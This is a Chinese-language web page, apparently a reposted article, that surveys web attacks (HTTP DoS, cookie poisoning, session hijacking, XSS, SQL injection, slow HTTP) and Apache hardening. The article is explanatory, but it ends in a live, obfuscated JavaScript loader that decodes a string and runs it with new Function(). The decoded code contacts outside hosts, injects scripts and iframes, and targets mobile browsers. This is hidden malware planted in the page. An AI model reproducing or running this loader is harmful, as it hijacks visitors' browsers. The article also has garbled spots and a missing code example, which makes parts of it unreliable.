推荐回答(1个)
Web服务和OSI层
现代Web应用程序通常不仅仅是以简单网页的形式提供内容。 业务逻辑和数据仓储组件(如数据库服务器,应用程序服务器和中间件软件)也用于生成并向网站用户提供业务特定数据。 这些组件通常安装并运行在一组单独的服务器上,并且可能共享或不共享存储空间。 高级Web应用程序代码可以在内部调用托管在不同服务器上的Web服务,并将结果页面传递给客户端。 Web程序员还使用Cookie来维护会话,并在客户端浏览器中存储特定于会话的信息。
网页劫持
破解一个网站是相当容易的。新手可能会试图从网站窃取数据,而专业人士可能会因为破坏网站或使用网络服务器传播病毒而造成严重破坏。与大多数其他攻击不同,Web攻击所用的技术范围从第2层到第7层,因此Web服务器很容易受到各种可能的黑客攻击。由于防火墙端口必须为Web服务打开(默认情况下是端口80),因此它无法阻止第7层的攻击,这使得对Web攻击的检测变得困难。请参考下图,它显示了用于形成Web门户基础设施的典型组件。
Web门户基础设施
从安全的角度来看,这些组件中的每一个都有一些弱点,如果被利用,就会导致Web内容的入侵。现在让我们详细讨论一些常见但危险的攻击。
DoS和嗅探
由于该网站的IP地址是开放给互联网的,因此拒绝服务攻击很容易使Web服务器停机。类似地,如果在Web设计过程中没有进行加密或其他安全措施,那么可以很容易地使用包嗅探器来捕获纯文本用户id和密码。几几乎所有第2层和第3层攻击(如数据包洪泛,SYN洪泛等)都可能在网站IP和其所在的端口上。
HTTP DoS攻击
与基于网络的拒绝服务攻击不同,HTTP DoS攻击在第7层工作。在这种类型的攻击中,网站以编程的方式爬行获取要访问的页面列表,在此期间攻击者还记录服务器处理每个页面所需的时间。选择需要更高处理时间的页面,并将多个HTTP请求发送到Web服务器,每个请求请求其中一个所选页面。
为了满足每个请求,Web服务器开始消耗资源。 达到资源限制后,最终放弃并停止响应。众所周知,攻击者使用简单的脚本创建大量的HTTP GET请求来实现此攻击。如果网站只包含简单的静态HTML页面,那么这种攻击就不会很有效。但是,如果动态页面从后端数据库服务器中提取数据,那么这种攻击就会造成相当大的损害。
虽然它可能或不会导致数据窃取,但它肯定会关闭网站,造成用户体验不良,并损害声誉。必须部署智能技术来检测和停止此类攻击,我们将很快了解这些攻击。
访问控制开发
通常,在Web门户的情况下,用户会得到一个ID和一个密码来登录并执行某些功能。门户管理人员也为维护和数据管理提供了自己的凭证。如果Web服务和应用程序不是从编码的角度设计的,那么就可以利用它们来获得更高的特权。
例如,如果Web服务器未使用最新的安全修补程序进行修补,这可能导致远程代码执行,攻击者可能会编写一个脚本来利用该漏洞,并访问服务器并远程控制它。 在某些情况下,可能会发生这种情况,因为没有遵循最佳的编码和安全实践,在安全配置中留下空白,并使Web解决方案容易受到攻击。
表单输入无效
许多网站使用由网站用户填写的表单,并提交给服务器。 然后,服务器验证输入并将其保存到数据库。 验证过程有时委托给客户端浏览器或数据库服务器。 如果这些验证不够强大或没有正确编程,他们可能会留下可以被攻击者利用的安全漏洞。
例如,如果一个字段如PAN号码是强制性的,并且如果重复条目的验证不能正确完成,则攻击者可以用伪PAN号码以编程方式提交表单,从而以假条目填充数据库。 这最终可以帮助攻击者种植拒绝服务(DoS)攻击,只需查询页面,询问不存在的条目。
代码挖掘
虽然这与之前的漏洞有点类似,但在破解它的方式上有一些不同。通常,程序员在为各种用户输入设置限制时,会做出假设。典型的例子是用户名不应该超过50个字符,或者数字值永远是正数,等等。
从安全的观点来看,这些假设是危险的,因为骇客可以利用它们。例如,通过填充具有100个字符的名称字段,从而对数据集施加压力,或者通过在数值字段中提供负整数来创建不正确的计算结果。
上面提到的所有攻击都是新手攻击者使用的,遵循好的编程实践可以帮助他们停止攻击。现在我们来看看技术先进的攻击,这在今天也很常见。
Cookie中毒
如前所述,cookie是驻留在浏览器中的小信息片段(在客户端计算机的硬盘驱动器上),并用于存储用户会话特定的信息。它是一个cookie,它能记住我们的购物车内容、我们的偏好和以前的登录信息,以便提供丰富的Web体验。
虽然篡改cookie并不是很容易,但是专业攻击者可以控制它并操纵其内容。 中毒是通过木马或病毒实现的,该病毒位于后台,并持续伪造cookies以收集用户的个人信息并将其发送给攻击者。
此外,病毒还可以改变cookie的内容,导致严重的问题,例如提交购物车内容,以便将购买的商品交付给黑客可访问的虚拟地址,或让浏览器连接到广告 服务器,这有助于攻击者获得资金等。如果会话信息存储在cookie中,专业攻击者可以访问它并窃取会话,从而导致中间人的攻击。
会话劫持
Web服务器同时与多个浏览器进行对话,以接收请求并交付所请求的内容。当每个连接被建立时,Web服务器需要有一种方法来维护每个连接的唯一性。它使用会话令牌来生成动态生成的文本字符串,这些字符串包括IP地址、日期、时间等。
攻击者可以通过在网络上以编程方式或嗅探,或通过对受害者计算机执行客户端脚本攻击来窃取该令牌。 一旦被盗,该令牌可用于创建假Web请求并窃取受害者用户的会话和信息。
URL查询字符串篡改
从数据库服务器中提取数据并将其显示在网页上的网站经常被发现在主URL中使用查询字符串。 例如,如果网站URL是// www.seo7.cc /,它可以使用// www.seo7.cc /showdata?field1=10&field2=15作为参数传递field1和field2,并将它们分别 值到数据库,结果输出以网页的形式提供给浏览器。
使这个查询字符串格式容易暴露,用户可以编辑和更改超出预期限制的字段值,或者用垃圾字符填充字段值。 它可以进一步导致用户获得他们不应该获得的信息。 在最坏的情况下,如果字段值是用户名和密码,则只能通过HTTP使用暴力字典攻击来获取系统级访问权限。
跨站点脚本
这是Web技术中最常见的弱点,它可以吸引XSS(跨站点脚本)对所有主要站点和著名站点的攻击。人们已经发现,即使在今天,大量的网站也很容易受到这种攻击。这个漏洞是由于不适当的编程实践和在Web基础结构中无法获得适当的安全措施造成的。
我们知道,客户端浏览器维护自己的安全性,不允许任何人访问网站内容和网站Cookie,用户本身除外。 在这种情况下,Web应用程序中的漏洞让破解者将客户端代码注入用户访问的页面。 这段代码通常使用JavaScript编写。
要了解这一点,请考虑将用户名作为输入的页面,并在屏幕上显示“欢迎用户名”。 让我们假设输入框用JavaScript替代,如下所示:
这里,Web页面可能会最终执行脚本标签,显示对话框消息“You are in trouble”。 这可以由攻击者进一步利用,只需中断cookie,窃取会话并将该代码注入受害者用户的浏览器。 一旦这样做,JavaScript代码将在受害者的浏览器中运行,并尽可能造成损害。
SQL注入
如前所述,Web门户在后端使用数据库服务器,Web页面连接到数据库,查询数据,并将所获取的数据以Web格式呈现给浏览器。如果客户端上的输入在以查询形式发送到数据库之前没有经过适当的过滤,就可能发生SQL注入攻击。这可能导致操作SQL语句的可能性,以便在数据库上执行无效的操作。
这种攻击的一个常见示例是由Web应用程序访问的SQL server,其中SQL语句没有经过中间件或验证代码组件的过滤。这可能导致攻击者能够在后端数据库服务器上创建和执行自己的SQL语句,这可能是简单的SELECT语句来获取和窃取数据,或者可能像删除整个数据表一样严重。在其他情况下,数据可以通过使用恶意的和虚假的内容填充记录集来破坏。
尽管网络安全意识越来越高,但许多网站仍然可以进行SQL注入攻击。
虽然在本文中不可能涵盖所有可能的攻击,但让我们来看看一些不太为人所熟知的攻击,这些攻击越来越多地被用于攻击网站。
缓慢的HTTP攻击
虽然这一方法与拒绝服务攻击类似,但该技术略有不同。它利用了一个事实,即每个HTTP请求都必须由Web服务器侦听。每个Web请求都以一个名为content-length的字段开头,它告诉服务器需要多少字节,并以回车和换行(CRLF)字符组合结束。
HTTP请求由内容长度较大的攻击者发起,而不是发送CRLF来结束请求,因此通过向Web服务器发送非常少量的数据来简单地延迟。 这使得Web服务器等待尚未到来的更多数据来完成请求。 这消耗了Web服务器的资源。
如果请求延迟到一个小于服务器上会话超时设置的点,那么多个这样的慢请求可以完全消耗资源并创建拒绝服务攻击。这可以通过只从一个浏览器创建缓慢和延迟的请求来实现,这从安全的角度来看是很危险的。
加密开发
导致了一种幻觉,认为一切都是安全的,不幸的是,情况并非如此。许多购物车应用程序忘记进一步加密cookie内容,并将它们放在纯文本中。尽管SSL上的数据受到SSL的保护,但运行客户端脚本拦截cookie并读取其内容可能会导致数据或会话被盗。
对于SSL,现代攻击者使用工具来检测和破坏较弱的密码算法,从而使SSL保护失效,尽管这不是很常见。
保护开源软件系统
Apache运行在centods/red Hat、Ubuntu和Debian上,在严重的FOSS Web基础架构和解决方案中获得了广泛的欢迎。第一步是加强Apache Web服务本身;在Internet上有许多关于这方面的指南和例子--对于每个Linux发行版,以及示例。
强烈建议禁用除Web服务端口之外的其他端口,以及停止和禁用不必要的服务。部署一个配置良好的防火墙或入侵检测设备是至关重要的。正如前面提到的,一个简单的防火墙是不够的;因此,需要一个能够检测Web层攻击的内容过滤防火墙。
保护Web门户不仅限于Web服务器,还可以扩展到诸如数据库服务器,Web服务等组件。从网络安全的角度来看,只允许从前端Web服务器到数据库的IP连接是一个很好的 理念。 运行rootkit检测器,防病毒工具和日志分析器必须是常规工作,以防止黑客攻击。
对于中间件和Web服务器之间的高级安全性,还应该有一个更强大的身份验证机制。应该对cookie进行加密和SSL部署,并使用更强的密码算法。
从编码的角度来看,如前所述,使用安全编程技术是至关重要的,也是遵循最佳的安全措施,如代码审查和渗透测试。 还建议使用其他进程,如输入代码验证,服务器和数据库端验证。
Web开发是攻击网站的常见方式。 由于其易用的可用性和可编程性,FOSS基础架构也容易遭受这种攻击,因此网络管理员必须了解技术来保护其基础架构免遭信息丢失或被盗。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();